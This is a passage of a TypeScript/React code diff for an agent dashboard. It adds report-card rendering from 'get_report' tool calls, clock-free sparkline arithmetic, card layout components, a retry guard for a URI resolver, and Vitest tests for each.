expect(reportIsTrustworthy({ facts: {} })).toBe(true);
expect(reportIsTrustworthy(reportBlockFromToolPart(part())!.vm)).toBe(true);
});
it("never collapses two reports: different tool calls, different blocks", () => {
const first = reportBlockFromToolPart(part({ toolCallId: "call_1" }))!;
const second = reportBlockFromToolPart(
part({ toolCallId: "call_2", output: { ...vm, generatedAt: "2026-07-27T11:15:00.000Z" } })
)!;
expect(blockIdentity(first)).not.toBe(blockIdentity(second));
expect(latestRevisionBlocks([first, second])).toHaveLength(2);
const sameKeyAgain = reportBlockFromToolPart(part({ toolCallId: "call_3" }))!;
expect(latestRevisionBlocks([first, second, sameKeyAgain])).toHaveLength(3);
});
});
describe("isReportToolPart", () => {
it("matches a get_report part in any state", () => {
expect(isReportToolPart(part({ state: "input-streaming" }))).toBe(true);
expect(isReportToolPart(part({ type: "tool-render_view" }))).toBe(false);
expect(isReportToolPart(null)).toBe(false);
});
});
@@ -0,0 +1,115 @@
/**
* Completed `get_report` tool call to report block.
*
* `get_report` returns the whole `ReportViewModel` (the same JSON
* `GET /api/v1/reports/:key?format=json` serves), and this turns that tool part into
* a `report` view block, so the card renders the exact snapshot the model was
* grounded on and the two cannot disagree.
*
* Pure and synchronous: no React, no fetch, no clock. Identity comes from the tool
* call (`id = toolCallId`, `revision = 0`), which makes every report an immutable
* snapshot: two reports in one conversation never collapse into one card.
*
* Every failure mode returns `null` so a malformed or half-streamed part degrades to
* "no card" rather than to a crash or a card full of blanks.
*/
import {
VIEW_BLOCK_VERSION,
isTriggerUri,
reportBlockSchema,
type EnvelopedReportBlock,
} from "@internal/dashboard-agent-contracts";
/** The tool whose output this adapter understands. */
export const REPORT_TOOL_PART_TYPE = "tool-get_report";
/** The part shape we read, narrowed by hand — tool parts arrive untyped. */
type MaybeToolPart = {
type?: unknown;
state?: unknown;
toolCallId?: unknown;
output?: unknown;
};
/** A `get_report` part in any state, including still streaming. */
export function isReportToolPart(part: unknown): boolean {
return (part as MaybeToolPart | null)?.type === REPORT_TOOL_PART_TYPE;
}
/**
* Build the block for a completed `get_report` part, or `null` when this part
* isn't one, hasn't finished, or didn't return a usable view model.
*/
export function reportBlockFromToolPart(part: unknown): EnvelopedReportBlock | null {
const p = (part ?? {}) as MaybeToolPart;
if (p.type !== REPORT_TOOL_PART_TYPE) return null;
// Only a finished call has a snapshot. In-flight states fall back to the pending
// pill, `output-error` to the generic tool row so the failure stays visible.
if (p.state !== "output-available") return null;
// Without the tool call id the block can't be keyed stably across re-renders, so
// render nothing rather than a card that remounts.
if (typeof p.toolCallId !== "string" || p.toolCallId.length === 0) return null;
const output = normalizeOutput(p.output);
if (!output) return null;
const parsed = reportBlockSchema.safeParse({
type: "report",
id: p.toolCallId,
revision: 0,
version: VIEW_BLOCK_VERSION,
vm: output.vm,
// Only a grammar-valid URI is carried; an invalid one is dropped rather than
// failing the whole block, since the card reads fine without it.
...(output.uri !== undefined ? { reportUri: output.uri } : {}),
asOf: asOfFrom(output.vm),
});
return parsed.success ? parsed.data : null;
}
// One trust rule for every surface: the shared layout spec owns it.
export { reportIsTrustworthy } from "~/presenters/v3/reports/report-layout";
/**
* Pull the view model (and an optional source URI) out of whatever `get_report`
* returned. Tolerates the three shapes a tool output realistically takes: the VM
* itself, a `{ vm, uri }` wrapper, or a JSON string.
*/
function normalizeOutput(output: unknown): { vm: unknown; uri?: string } | null {
const value = typeof output === "string" ? tryParseJson(output) : output;
if (value === null || typeof value !== "object" || Array.isArray(value)) return null;
const record = value as Record<string, unknown>;
// The route's error shape (`{ error: "…" }`) is not a report.
if (typeof record.error === "string") return null;
const wrapped = record.vm !== undefined && typeof record.vm === "object";
const vm = wrapped ? record.vm : record;
const uri = firstTriggerUri(record.reportUri, record.uri);
return { vm, ...(uri === undefined ? {} : { uri }) };
}
function firstTriggerUri(...candidates: unknown[]): string | undefined {
for (const candidate of candidates) {
if (typeof candidate === "string" && isTriggerUri(candidate)) return candidate;
}
return undefined;
}
/** The snapshot's timestamp is the presenter's, never the renderer's clock. */
function asOfFrom(vm: unknown): unknown {
return (vm as { generatedAt?: unknown } | null)?.generatedAt;
}
function tryParseJson(value: string): unknown {
try {
return JSON.parse(value);
} catch {
return null;
}
}
@@ -0,0 +1,116 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
import { barTimesMs, condense, hotBarCount, MAX_BARS, seriesEndMs } from "./report-spark";
describe("condense", () => {
it("leaves a series that already fits alone, by reference", () => {
const points = [1, 2, 3];
expect(condense(points, 18)).toBe(points);
});
it("averages adjacent points down to the bar count", () => {
expect(condense([0, 2, 4, 6], 2)).toEqual([1, 5]);
});
it("covers every point exactly once", () => {
const points = Array.from({ length: 97 }, (_, i) => i);
const bars = condense(points, MAX_BARS);
expect(bars).toHaveLength(MAX_BARS);
// Each bar is a mean of a non-empty slice, so no bar is NaN and the whole
// series is inside the bars' range.
expect(bars.every((bar) => Number.isFinite(bar))).toBe(true);
expect(Math.min(...bars)).toBeGreaterThanOrEqual(0);
expect(Math.max(...bars)).toBeLessThanOrEqual(96);
});
it("never asks for a slice ending before the first point", () => {
// Why the removed `Math.max(end, 1)` was unreachable: past the early return
// `perBar > 1`, so even the first bar's end index is already at least 1.
for (let maxBars = 1; maxBars <= 30; maxBars++) {
for (let length = maxBars + 1; length <= maxBars + 40; length++) {
const perBar = length / maxBars;
for (let i = 0; i < maxBars; i++) {
expect(Math.floor((i + 1) * perBar)).toBeGreaterThanOrEqual(1);
}
}
}
});
it("gives the first bar the first points, not a slice starting past them", () => {
// The old `Math.max(end, 1)` claimed to guard an empty first slice. With
// `points.length > maxBars` the end index is already at least 1, so the guard
// never fired — and if it ever had, the first bar would be a single point.
expect(condense([10, 20, 30, 40, 50, 60], 3)).toEqual([15, 35, 55]);
});
});
describe("seriesEndMs", () => {
it("reads the presenter's timestamp", () => {
expect(seriesEndMs("2026-07-27T10:15:00.000Z")).toBe(Date.parse("2026-07-27T10:15:00.000Z"));
});
it("is null for a missing or unparseable timestamp", () => {
expect(seriesEndMs(undefined)).toBeNull();
expect(seriesEndMs("")).toBeNull();
expect(seriesEndMs("not a date")).toBeNull();
});
});
/**
* The bars are the report's, not the reader's: two people opening the same report an hour apart,
* and one reader re-rendering, must all see the same time on the same bar.
*/
describe("barTimesMs", () => {
const end = Date.parse("2026-07-27T10:00:00.000Z");
it("spreads the bars back from the series' end", () => {
const times = barTimesMs(4, 60, end);
expect(times).toEqual([
Date.parse("2026-07-27T09:00:00.000Z"),
Date.parse("2026-07-27T09:15:00.000Z"),
Date.parse("2026-07-27T09:30:00.000Z"),
Date.parse("2026-07-27T09:45:00.000Z"),
]);
});
it("returns the same times however long after the report they are asked for", () => {
expect(barTimesMs(4, 60, end)).toEqual(barTimesMs(4, 60, end));
});
it("gives every bar no time at all when the end is unknown", () => {
expect(barTimesMs(3, 60, null)).toEqual([null, null, null]);
});
it("has no bars to time when there are no bars", () => {
expect(barTimesMs(0, 60, end)).toEqual([]);
});
});
describe("hotBarCount", () => {
it("is none without an anomaly window", () => {
expect(hotBarCount(18, 60, undefined)).toBe(0);
});
it("marks the trailing bars the window covers", () => {
expect(hotBarCount(12, 60, 15)).toBe(3);
});
it("marks at least one bar, and never more than there are", () => {
expect(hotBarCount(12, 60, 1)).toBe(1);
expect(hotBarCount(12, 60, 600)).toBe(12);
});
});
/**
* Structural guard, not behavioural proof: it asserts the renderer's source never reaches for a
* clock, which is what keeps the bars above stable. It does not render the card.
*/
describe("the report card reads no clock", () => {
const sources = ["report-sparkline.tsx", "ReportView.tsx"];
it.each(sources)("%s calls neither Date.now nor new Date()", (file) => {
const source = readFileSync(new URL(`./${file}`, import.meta.url), "utf8");
expect(source).not.toMatch(/Date\.now\(\)/);
expect(source).not.toMatch(/new Date\(\s*\)/);
});
});
@@ -0,0 +1,52 @@
/**
* The sparkline's arithmetic. It lives here rather than in `report-sparkline.tsx` so it stays
* clock-free: bar timestamps come from the presenter's `generatedAt`, never from the renderer.
*/
/** How many bars a series is condensed to, so each bar stays wide enough to hover. */
export const MAX_BARS = 18;
/** Average adjacent points down so each bar is wide enough to read and hover. */
export function condense(points: number[], maxBars: number = MAX_BARS): number[] {
if (points.length <= maxBars) return points;
const perBar = points.length / maxBars;
return Array.from({ length: maxBars }, (_, i) => {
const slice = points.slice(Math.floor(i * perBar), Math.floor((i + 1) * perBar));
return slice.reduce((sum, v) => sum + v, 0) / Math.max(slice.length, 1);
});
}
/** The series' end, from the view model. Null when the report carries no usable timestamp. */
export function seriesEndMs(generatedAt: string | undefined): number | null {
if (!generatedAt) return null;
const ms = Date.parse(generatedAt);
return Number.isNaN(ms) ? null : ms;
}
/**
* Each bar's start, spread back from the series' end. All null when the end is unknown: a bar
* with no time reads as one, where a guessed time reads as a fact.
*/
export function barTimesMs(
barCount: number,
windowMinutes: number,
endMs: number | null
): (number | null)[] {
const length = Math.max(barCount, 0);
if (endMs === null || length === 0) return Array.from({ length }, () => null);
const windowMs = windowMinutes * 60_000;
const intervalMs = windowMs / length;
const startMs = endMs - windowMs;
return Array.from({ length }, (_, i) => startMs + i * intervalMs);
}
/** Trailing bars inside the anomaly window, which paint at full strength. */
export function hotBarCount(
barCount: number,
windowMinutes: number,
anomalyMinutes: number | undefined
): number {
const minutesPerBar = barCount > 0 ? windowMinutes / barCount : 0;
if (!anomalyMinutes || minutesPerBar <= 0) return 0;
return Math.min(barCount, Math.max(1, Math.round(anomalyMinutes / minutesPerBar)));
}
@@ -0,0 +1,698 @@
/**
* The parts a report card is built from: severity vocabulary, card chrome, the
* metric row and its sparkline. Both report cards render this layout, so the
* pieces take resolved strings rather than metric objects.
*
* Keep this file pure: no Remix hooks, no loader data, no router context. Footer
* `LinkButton`s are only ever given external URLs, which render as plain anchors.
*/
import {
ArrowUpRightIcon,
BookOpenIcon,
CheckCircleIcon,
ExclamationCircleIcon,
ExclamationTriangleIcon,
QuestionMarkCircleIcon,
} from "@heroicons/react/20/solid";
import { Children, Fragment, type ReactNode } from "react";
import { Bar, Cell, type TooltipProps } from "recharts";
import {
REPORT_LABELS,
reportFooterStyle,
type ReportFooterStyle,
type ReportTone,
} from "~/presenters/v3/reports/report-layout";
import { ActivityBarChart } from "~/components/metrics/ActivityBarChart";
import { Button, LinkButton } from "~/components/primitives/Buttons";
import { formatDateTime } from "~/components/primitives/DateTime";
import { Header3 } from "~/components/primitives/Headers";
import { InfoIconTooltip } from "~/components/primitives/Tooltip";
import TooltipPortal from "~/components/primitives/TooltipPortal";
import { cn } from "~/utils/cn";
import { AgentStatusIcon, type AgentTone } from "./agent-badges";
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
import { barTimesMs, condense, hotBarCount } from "./report-spark";
/** Both cards' severity type (`Severity` / `ReportSeverity`) resolves to this. */
export type ReportSeverityKey = "ok" | "warn" | "crit";
// Semantic tokens, not raw palette classes: only these are remapped by the theme
// layer (see tailwind.css). Keyed by tone, so a genuinely-unknown state can't
// borrow a verdict's colour.
export const SEVERITY_TEXT: Record<ReportTone, string> = {
ok: "text-success",
warn: "text-warning",
crit: "text-error",
neutral: "text-text-dimmed",
};
/** The same colours as CSS values, for the sparkline's line. */
const SEVERITY_COLOR: Record<ReportTone, string> = {
ok: "var(--color-success)",
warn: "var(--color-warning)",
crit: "var(--color-error)",
neutral: "var(--color-text-dimmed)",
};
const SEVERITY_TONE: Record<ReportTone, AgentTone> = {
ok: "success",
warn: "warning",
crit: "error",
neutral: "neutral",
};
const SEVERITY_ICON = {
ok: CheckCircleIcon,
warn: ExclamationTriangleIcon,
crit: ExclamationCircleIcon,
neutral: QuestionMarkCircleIcon,
} as const;
/**
* The state marker on a finding or a summary statement. `tone` is the shared
* layout's tone, which is the severity unless the state is genuinely unknown
* the card's counterpart to the text surfaces' `` glyph.
*/
export function ReportSeverityIcon({
severity,
tone,
className,
}: {
severity: ReportSeverityKey;
tone?: ReportTone;
className?: string;
}) {
const key = tone ?? severity;
return (
<AgentStatusIcon
tone={SEVERITY_TONE[key]}
icon={SEVERITY_ICON[key]}
className={cn("size-3.5", className)}
/>
);
}
// --- card chrome ------------------------------------------------------------
export function ReportCard({ children }: { children: ReactNode }) {
return <AgentCard>{children}</AgentCard>;
}
/**
* The quiet top line: the report's name, then its scope, period and baseline.
* Anything urgent belongs in the headline below.
*/
export function ReportHeaderLine({
name,
meta,
children,
}: {
name: string;
meta: string;
/** State badges that sit next to the name. */
children?: ReactNode;
}) {
return (
<AgentCardHeader className="flex flex-wrap items-center gap-2">
<span className="text-xs font-medium text-text-bright">{name}</span>
{children}
<span className="ml-auto text-xs text-text-dimmed">{meta}</span>
</AgentCardHeader>
);
}
/** The card body. */
export function ReportBody({ children, dimmed }: { children: ReactNode; dimmed?: boolean }) {
return <AgentCardBody className={cn(dimmed && "opacity-80")}>{children}</AgentCardBody>;
}
/** The verdict as one sentence: icon, the coloured phrase, then why. */
export function ReportHeadline({
severity,
tone,
phrase,
continuation,
}: {
severity: ReportSeverityKey;
tone?: ReportTone;
phrase: string;
continuation?: string;
}) {
return (
<p className="flex items-start gap-2 text-sm">
<ReportSeverityIcon
severity={severity}
tone={tone}
className={cn("shrink-0", (tone ?? severity) === "warn" ? "mt-1" : "mt-0.5")}
/>
<span>
<span className={cn("font-medium", SEVERITY_TEXT[tone ?? severity])}>{phrase}</span>
{continuation ? <span className="text-text-bright"> {continuation}</span> : null}
</span>
</p>
);
}
/**
* A finding other than the one in the headline. Fixed columns so consecutive
* lines start on the same vertical.
*/
export function ReportFindingLine({
severity,
tone,
type,
text,
bright,
}: {
severity: ReportSeverityKey;
tone?: ReportTone;
type: string;
text: string;
bright?: boolean;
}) {
return (
<p className="grid grid-cols-[1rem_4.5rem_minmax(0,1fr)] items-start gap-x-2">
<ReportSeverityIcon severity={severity} tone={tone} className="mt-0.5" />
<span className="mt-px text-xs uppercase tracking-wide text-text-dimmed">{type}</span>
<span className={cn("-mt-0.5 text-sm", bright ? "text-text-bright" : "text-text-dimmed")}>
{text}
</span>
</p>
);
}
// --- prose highlighting -----------------------------------------------------
/**
* Highlight rules for report prose. Quantities render bright and tabular,
* entities mono, verdict phrases bright and medium, everything else dimmed.
* Colour stays reserved for severity, so emphasis here is weight only.
*/
const QUANTITY_RE = /~?\d[\d,.]*\s?(?:%|×|\/min|ms\b|s\b|min\b|h\b)?/g;
const VERDICT_PHRASES = [
"not your code",
"not a code problem",
"not the workers",
"not the platform",
];
type ProseSegment = { text: string; kind: "plain" | "quantity" | "entity" | "verdict" };
function splitBy(
segments: ProseSegment[],
match: (text: string) => { start: number; end: number } | null,
kind: ProseSegment["kind"]
): ProseSegment[] {
return segments.flatMap((segment) => {
if (segment.kind !== "plain") return [segment];
const out: ProseSegment[] = [];
let rest = segment.text;
for (;;) {
const hit = match(rest);
if (!hit) break;
if (hit.start > 0) out.push({ text: rest.slice(0, hit.start), kind: "plain" });
out.push({ text: rest.slice(hit.start, hit.end), kind });
rest = rest.slice(hit.end);
}
if (rest) out.push({ text: rest, kind: "plain" });
return out;
});
}
/** Apply the highlight rules to one resolved prose line. */
export function ReportProse({ text, entities }: { text: string; entities?: string[] }) {
let segments: ProseSegment[] = [{ text, kind: "plain" }];
for (const entity of entities ?? []) {
if (!entity) continue;
segments = splitBy(
segments,
(t) => {
const i = t.indexOf(entity);
return i === -1 ? null : { start: i, end: i + entity.length };
},
"entity"
);
}
for (const phrase of VERDICT_PHRASES) {
segments = splitBy(
segments,
(t) => {
const i = t.toLowerCase().indexOf(phrase);
return i === -1 ? null : { start: i, end: i + phrase.length };
},
"verdict"
);
}
segments = splitBy(
segments,
(t) => {
QUANTITY_RE.lastIndex = 0;
const m = QUANTITY_RE.exec(t);
return m && m[0].trim().length > 0 ? { start: m.index, end: m.index + m[0].length } : null;
},
"quantity"
);
return (
<>
{segments.map((segment, i) => {
switch (segment.kind) {
case "quantity":
return (
<span key={i} className="font-medium tabular-nums text-text-bright">
{segment.text}
</span>
);
case "entity":
return (
<span key={i} className="font-mono text-xs text-text-bright">
{segment.text}
</span>
);
case "verdict":
return (
<span key={i} className="font-medium text-text-bright">
{segment.text}
</span>
);
default:
return <Fragment key={i}>{segment.text}</Fragment>;
}
})}
</>
);
}
/**
* A labelled block of lines. The label sits in its own column so the lines hang
* together as one indented paragraph.
*/
export function ReportNoteBlock({ label, children }: { label: string; children: ReactNode }) {
const lines = Children.toArray(children).filter(Boolean);
if (lines.length === 0) return null;
return (
<div className="grid grid-cols-[2.75rem_minmax(0,1fr)] gap-x-1 text-sm">
<span className="text-text-dimmed">{label}</span>
<div className="space-y-0.5 text-text-dimmed">
{lines.map((line, i) => (
<p key={i}>{line}</p>
))}
</div>
</div>
);
}
// --- footer -----------------------------------------------------------------
// The footer vocabulary lives in the shared layout spec, so the card and the text
// surfaces classify a code the same way. `action` is a primary button, `docs` the
// docs button, `reference` a text link because a button would promise an action,
// and `note` is prose for an option stated rather than offered.
export { reportFooterStyle, type ReportFooterStyle };
/** A dimmed line that accompanies a row entry. */
const FOOTER_NOTE_LINES: Record<string, string> = {
check_control_plane: "There's nothing to fix on your side.",
};
/** One resolved footer entry: the code it came from, and what it renders as. */
export type ReportFooterItem = { code: string; node: ReactNode };
function isRowEntry(item: ReportFooterItem): boolean {
const style = reportFooterStyle(item.code);
return style === "action" || style === "docs" || style === "reference";
}
/**
* The footer: a "Next steps" heading, the controls in one wrapping row, and
* stated options as a dimmed line under it.
*/
export function ReportFooterLine({ items }: { items: ReportFooterItem[] }) {
const entries = items.filter((item) => item.node);
if (entries.length === 0) return null;
const row = entries.filter(isRowEntry);
const noteLines = entries
.map((item) => FOOTER_NOTE_LINES[item.code])
.filter((line): line is string => Boolean(line));
const rest = entries.filter((item) => !isRowEntry(item));
return (
<div className="space-y-2 border-t border-grid-bright pt-3">
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">
{REPORT_LABELS.nextSteps}
</h4>
{row.length > 0 ? (
// text-xs so a text link in the row (a cited reference) sits at the
// same size as the buttons beside it.
<div className="flex flex-wrap items-center gap-2 text-xs">
{row.map((item, i) => (
<Fragment key={i}>{item.node}</Fragment>
))}
</div>
) : null}
{rest.length > 0 || noteLines.length > 0 ? (
<p className="text-sm leading-6 text-text-dimmed">
{noteLines.join(" ")}
{noteLines.length > 0 && rest.length > 0 ? " " : null}
{rest.map((item, i) => (
<Fragment key={i}>
{i > 0 ? " " : null}
{item.node}
</Fragment>
))}
</p>
) : null}
</div>
);
}
/**
* A footer entry that only cites a place to look. Underlined text, never a
* button: a button promises something happens here.
*/
export function ReportFooterLink({
href,
external,
children,
}: {
href: string;
external?: boolean;
children: ReactNode;
}) {
return (
<a
href={href}
{...(external ? { target: "_blank", rel: "noreferrer" } : {})}
// The app's link token and the app-wide external-link marker.
className="text-text-link underline decoration-text-link/40 underline-offset-2 transition hover:decoration-text-link"
>
{children}
{external ? (
<ArrowUpRightIcon className="ml-0.5 inline-block size-3.5 align-[-0.15em] text-text-dimmed" />
) : null}
</a>
);
}
/** A footer entry that states an option instead of offering one. */
export function ReportFooterNote({ children }: { children: ReactNode }) {
return <span className="text-text-dimmed">{children}</span>;
}
/**
* Keeps an `h-6` control on the text baseline inside the footer sentence without
* stretching the line it sits on.
*/
const INLINE_CONTROL = "inline-flex align-middle";
/** An in-app footer action. */
export function ReportFooterAction({
onClick,
children,
}: {
onClick: () => void;
children: ReactNode;
}) {
return (
<span className={INLINE_CONTROL}>
<Button variant="primary/small" onClick={onClick}>
{children}
</Button>
</span>
);
}
/** A footer action that lives at a URL: the same button, as a link. */
export function ReportFooterActionLink({
href,
docs,
children,
}: {
href: string;
docs?: boolean;
children: ReactNode;
}) {
const external = /^https?:\/\//i.test(href);
return (
<span className={INLINE_CONTROL}>
<LinkButton
to={href}
variant={docs ? "docs/small" : "primary/small"}
LeadingIcon={docs ? BookOpenIcon : undefined}
TrailingIcon={!docs && external ? ArrowUpRightIcon : undefined}
>
{children}
</LinkButton>
</span>
);
}
/** Where the snapshot came from, in the report's own URI vocabulary. */
export function ReportProvenance({ uri }: { uri: string }) {
return <div className="break-all font-mono text-[10px] text-text-faint">{uri}</div>;
}
// --- sparkline --------------------------------------------------------------
/** The fixed sparkline column. Keeps every sparkline aligned. */
const SPARK_WIDTH_CLASS = "w-[5.5rem]";
/** The chart's own width; the trailing peak label uses the column's remainder. */
const SPARK_WIDTH = 56;
type ReportSparkDatum = { count: number; date: Date | null; hot: boolean };
function ReportSparkTooltip({
active,
payload,
formatPoint,
}: TooltipProps<number, string> & { formatPoint: (value: number) => string }) {
if (!active || !payload || payload.length === 0) return null;
const entry = payload[0].payload as ReportSparkDatum;
return (
<TooltipPortal active={active}>
<div className="rounded-sm border border-grid-bright bg-background-dimmed px-3 py-2">
{entry.date ? (
<Header3 className="border-b border-b-border-bright pb-2">
{formatDateTime(entry.date, "UTC", [], false, true)}
</Header3>
) : null}
<div className="mt-2 text-xs tabular-nums text-text-bright">{formatPoint(entry.count)}</div>
{entry.hot ? <div className="mt-1 text-xs text-warning">in the anomaly window</div> : null}
</div>
</TooltipPortal>
);
}
/**
* A metric's series as an `ActivityBarChart`. Bars inside the anomaly window paint
* at full strength and the rest recede to a tint of the same colour, so the breach
* reads as one chart changing intensity rather than a second series.
*/
export function ReportSparkline({
points,
severity,
/** Minutes the whole series covers. Turns a bar into its tooltip time. */
windowMinutes,
/**
* Length of the anomaly window when it runs to the end of the series. The
* matching trailing bars paint at full strength.
*/
anomalyMinutes,
/** When the series ends, from the report's `generatedAt`. Turns a bar into a time. */
seriesEndMs,
/** The metric's own formatter, used by the tooltip and the peak label. */
formatPoint,
label,
className,
}: {
points: number[];
severity: ReportSeverityKey;
windowMinutes: number;
anomalyMinutes?: number;
seriesEndMs: number | null;
formatPoint: (value: number) => string;
label: string;
className?: string;
}) {
const bars = condense(points);
// The view model carries buckets, not timestamps, so spread them back from the
// series' end. Never from the renderer's clock: see `report-spark.ts`.
const times = barTimesMs(bars.length, windowMinutes, seriesEndMs);
const hotBars = hotBarCount(bars.length, windowMinutes, anomalyMinutes);
const data: ReportSparkDatum[] = bars.map((count, i) => ({
count,
date: times[i] === null ? null : new Date(times[i]!),
hot: i >= bars.length - hotBars,
}));
const color = SEVERITY_COLOR[severity];
const calm = `color-mix(in srgb, ${color} 35%, transparent)`;
const peak = points.length > 0 ? Math.max(...points) : 0;
return (
<div
className={cn(SPARK_WIDTH_CLASS, className)}
role="img"
aria-label={`${label} over the last ${windowMinutes} minutes, peak ${formatPoint(peak)}`}
>
<ActivityBarChart
data={data}
max={Math.max(...bars, 1)}
width={SPARK_WIDTH}
peak={formatPoint(peak)}
tooltip={<ReportSparkTooltip formatPoint={formatPoint} />}
>
<Bar dataKey="count" isAnimationActive={false} minPointSize={1}>
{data.map((entry, i) => (
<Cell key={i} fill={entry.hot || hotBars === 0 ? color : calm} />
))}
</Bar>
</ActivityBarChart>
</div>
);
}
// --- metric row -------------------------------------------------------------
/**
* Label, value, delta and sparkline in fixed columns, so every row's label and
* chart start on the same vertical whatever the value's width.
*/
/**
* Below a 19rem container the fixed tracks no longer fit beside the value, so the
* sparkline drops to its own line. The columns never change, so the value, delta
* and note stay on the same verticals at every panel width.
*/
const METRIC_ROW_CLASS =
"grid grid-cols-[6rem_minmax(0,1fr)_2.75rem_5.5rem] items-center gap-x-2 @max-[19rem]:grid-cols-[6rem_minmax(0,1fr)_2.75rem] @max-[19rem]:gap-y-1.5";
/** The sparkline cell: its own full-width line once the row goes narrow. */
const SPARK_CELL_CLASS = "@max-[19rem]:col-span-3 @max-[19rem]:justify-self-end";
// Labels are never truncated: the column fits the common ones and anything
// longer wraps.
const LABEL_CLASS = "text-xs uppercase leading-tight tracking-wide text-text-dimmed";
/** A metric's movement against its baseline. Direction is always an arrow. */
export type ReportDelta = { text: string; dir: "up" | "down" | "flat" };
/**
* A view model `Delta` as the row's arrow. A multiplier only reads as movement
* once it rounds past 1×; below that a metric with a baseline is flat, and one
* without a baseline has nothing to compare against.
*/
export function reportDelta(
delta: { dir: "up" | "down" | "flat"; mult?: number } | undefined,
hasBaseline: boolean
): ReportDelta | undefined {
if (delta && delta.mult !== undefined && delta.mult > 1 && delta.dir !== "flat") {
return { text: `${delta.dir === "up" ? "↑" : "↓"} ${delta.mult}×`, dir: delta.dir };
}
return hasBaseline ? { text: "→ flat", dir: "flat" } : undefined;
}
export function ReportMetricRow({
label,
value,
severity,
/** A composite metric's parts, indented under it as their own rows. */
subRows,
/** The movement against the baseline. */
delta,
/**
* The row's aside, such as its baseline. It goes in a tooltip because as
* trailing text it broke the sparkline column and read like part of the value.
*/
note,
/** The finding-explaining row's annotation. Joins `note` in the info tooltip. */
heroNote,
series,
windowMinutes,
anomalyMinutes,
seriesEndMs,
formatPoint,
}: {
label: string;
value: string;
severity: ReportSeverityKey;
subRows?: { label: string; value: string }[];
delta?: ReportDelta;
note?: string;
heroNote?: string;
series?: number[];
windowMinutes: number;
anomalyMinutes?: number;
seriesEndMs: number | null;
formatPoint: (value: number) => string;
}) {
const deltaClass =
delta?.dir === "up"
? severity === "ok"
? "text-text-dimmed"
: SEVERITY_TEXT[severity]
: delta?.dir === "down"
? "text-text-dimmed"
: "text-text-faint";
return (
<>
<li className={METRIC_ROW_CLASS}>
<span className={LABEL_CLASS}>{label}</span>
<span className="flex min-w-0 items-center gap-1.5">
<span className={cn("text-sm font-medium tabular-nums", SEVERITY_TEXT[severity])}>
{value}
</span>
{note || heroNote ? (
<InfoIconTooltip content={[heroNote, note].filter(Boolean).join(" · ")} />
) : null}
</span>
<span className={cn("whitespace-nowrap text-xs tabular-nums", deltaClass)}>
{delta?.text ?? ""}
</span>
{series && series.length > 0 ? (
<ReportSparkline
points={series}
severity={severity}
windowMinutes={windowMinutes}
anomalyMinutes={anomalyMinutes}
seriesEndMs={seriesEndMs}
formatPoint={formatPoint}
label={label}
className={SPARK_CELL_CLASS}
/>
) : (
// Keeps the column occupied so a series-less metric doesn't pull the
// rows out of alignment.
<span aria-hidden className="@max-[19rem]:hidden" />
)}
</li>
{(subRows ?? []).map((sub) => (
// A sub-row keeps the grid's columns so its number stays on the same
// vertical as every other row's value.
<li key={sub.label} className={METRIC_ROW_CLASS}>
{/* Indented under the parent label, shallow enough to stay inside the
6rem label column. */}
<span className={cn(LABEL_CLASS, "pl-6")}>{sub.label}</span>
<span className="whitespace-nowrap text-sm tabular-nums text-text-dimmed">
{sub.value}
</span>
</li>
))}
</>
);
}
/** The metric grid. Rows are `ReportMetricRow`s, which may expand to several. */
export function ReportMetricList({ children }: { children: ReactNode }) {
// The container the rows measure themselves against.
return <ul className="@container space-y-2.5">{children}</ul>;
}
@@ -1,5 +1,6 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
import { MAX_URIS_PER_RESOLVE_REQUEST, planUriBatches } from "./resolve-uris";
import { MAX_URIS_PER_RESOLVE_REQUEST, planUriBatches, shouldScheduleRetry } from "./resolve-uris";
const uri = (index: number) => `trigger://runs/run_${index}`;
@@ -30,3 +31,39 @@ describe("planUriBatches", () => {
expect(planUriBatches([])).toEqual([]);
});
});
describe("shouldScheduleRetry", () => {
it("retries a transient failure while the cards are still on screen", () => {
expect(shouldScheduleRetry({ mounted: true, timerPending: false })).toBe(true);
});
it("schedules nothing once the panel is gone", () => {
// A request in flight at unmount rejects afterwards; its retry would fetch
// again and set state for a component that no longer exists.
expect(shouldScheduleRetry({ mounted: false, timerPending: false })).toBe(false);
expect(shouldScheduleRetry({ mounted: false, timerPending: true })).toBe(false);
});
it("lets one timer serve every batch", () => {
expect(shouldScheduleRetry({ mounted: true, timerPending: true })).toBe(false);
});
});
/**
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
* here mounts the hook or unmounts it mid-flight. It asserts the policy above is the one the
* hook asks, and that the unmount path is wired.
*/
describe("useTriggerUriResolver's unmount wiring", () => {
const source = readFileSync(new URL("./useTriggerUriResolver.ts", import.meta.url), "utf8");
it("asks `shouldScheduleRetry` rather than testing the timer itself", () => {
expect(source).toContain("shouldScheduleRetry({");
expect(source).not.toMatch(/if \(retryTimer\.current === undefined\)/);
});
it("marks itself unmounted on cleanup and drops state updates after that", () => {
expect(source).toContain("mounted.current = false");
expect(source).toContain("if (!mounted.current) return;");
});
});
@@ -11,6 +11,21 @@ export const MAX_RESOLVE_ATTEMPTS = 3;
export const RESOLVE_RETRY_DELAY_MS = 1_000;
/**
* A request in flight at unmount rejects afterwards. Its retry must not be scheduled: the
* callback would fetch again for a component that is gone, and record the answer into state.
* One timer serves every batch, so a pending one is not replaced either.
*/
export function shouldScheduleRetry({
mounted,
timerPending,
}: {
mounted: boolean;
timerPending: boolean;
}): boolean {
return mounted && !timerPending;
}
/** Deduplicates, then splits into requests no bigger than the cap. */
export function planUriBatches(
uris: readonly string[],
@@ -0,0 +1,38 @@
import { describe, expect, it } from "vitest";
import { retryAction } from "./retry-action";
function user(id: string, ...texts: string[]) {
return { id, role: "user", parts: texts.map((text) => ({ type: "text", text })) };
}
function assistant(id: string, text: string) {
return { id, role: "assistant", parts: [{ type: "text", text }] };
}
describe("retryAction", () => {
it("re-sends the failed turn under its own id, never as a new message", () => {
expect(retryAction([assistant("a1", "hi"), user("u2", "why is it slow?")])).toEqual({
kind: "resend",
messageId: "u2",
text: "why is it slow?",
});
});
it("joins the failed turn's text parts", () => {
expect(retryAction([user("u1", "one", "two")])).toMatchObject({ text: "one\ntwo" });
});
it("regenerates when the agent already started answering", () => {
expect(retryAction([user("u1", "why?"), assistant("a1", "partial")])).toEqual({
kind: "regenerate",
});
});
it("does nothing on an empty transcript, where there is no turn to retry", () => {
expect(retryAction([])).toBeNull();
});
it("does nothing when the failed turn carries no text to re-send", () => {
